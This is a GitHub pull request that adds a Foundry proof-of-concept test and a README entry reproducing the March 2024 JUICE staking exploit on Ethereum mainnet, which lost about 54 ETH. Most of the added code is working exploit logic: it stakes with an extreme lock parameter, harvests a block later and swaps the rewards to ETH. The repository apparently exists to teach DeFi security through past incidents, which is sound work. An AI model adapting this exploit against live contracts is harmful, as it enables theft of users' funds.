Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat: Add POC for JUICE staking exploit #599

Merged
merged 2 commits into from
Mar 29, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 21 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

**Reproduce DeFi hack incidents using Foundry.**

376 incidents included.
377 incidents included.

Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)

Expand Down Expand Up @@ -34,6 +34,7 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
- Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) )

## List of Past DeFi Incidents
[20240309 Juice](#20240309-juice---business-logic-flaw)

[20240325 ZongZi](#20240325-zongzi---price-manipulation)

Expand Down Expand Up @@ -821,6 +822,25 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/

### List of DeFi Hacks & POCs




### 20240309 Juice -

### Lost: ~54 ETH


```sh
forge test --contracts ./src/test/Juice_exp.sol -vvv
```
#### Contract
[Juice_exp.sol](src/test/Juice_exp.sol)
### Link reference

https://medium.com/@juicebotapp/juice-staking-exploit-next-steps-95e218b3ec71

---

### 20240325 ZongZi - Price Manipulation

### Lost: ~223K
Expand Down
72 changes: 72 additions & 0 deletions src/test/Juice_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~54 ETH
// Attacker : https://etherscan.io/address/0x3fA19214705BC82cE4b898205157472A79D026BE
// Attack Contract : https://etherscan.io/address/0xa8b45dEE8306b520465f1f8da7E11CD8cFD1bBc4
// Vulnerable Contract : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e
// Attack Tx : https://etherscan.io/tx/0xc9b2cbc1437bbcd8c328b6d7cdbdae33d7d2a9ef07eca18b4922aac0430991e7

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e#code

interface IStake {
function harvest(uint256) external;
function stake(uint256, uint256) external;
}

contract Juice is Test {
uint256 blocknumToForkFrom = 19395636;
IERC20 JUICE = IERC20(0xdE5d2530A877871F6f0fc240b9fCE117246DaDae);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IStake JuiceStaking = IStake(0x8584DdbD1E28bCA4bc6Fb96baFe39f850301940e);

Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

function setUp() public {

vm.createSelectFork("mainnet", blocknumToForkFrom);
}

function testExploit() public {
emit log_named_decimal_uint("[Start] Attacker ETH balance before exploit", address(this).balance, 18);

//stake 0.5 ETH
ETHtoJUICE(0.5 ether);
JUICE.approve(address(JuiceStaking), type(uint256).max);
JuiceStaking.stake(JUICE.balanceOf(address(this)),3000_000_000);

// harvest JUICE token a block later
vm.roll(block.number + 1);
vm.warp(block.timestamp + 12);
JuiceStaking.harvest(0);
JUICE.approve(address(Router), type(uint256).max);
JUICEtoETH();

// Log balances after exploit
emit log_named_decimal_uint("[End] Attacker ETH Balance After exploit", address(this).balance, 18);
}

function ETHtoJUICE(uint256 amount) internal {
address[] memory path = new address[](2);
path[0] = address(WETH);
path[1] = address(JUICE);
Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0, path, address(this), block.timestamp + 60
);
}

function JUICEtoETH() internal {
address[] memory path = new address[](2);
path[0] = address(JUICE);
path[1] = address(WETH);
Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
JUICE.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60
);
}

fallback() external payable {}
}
Loading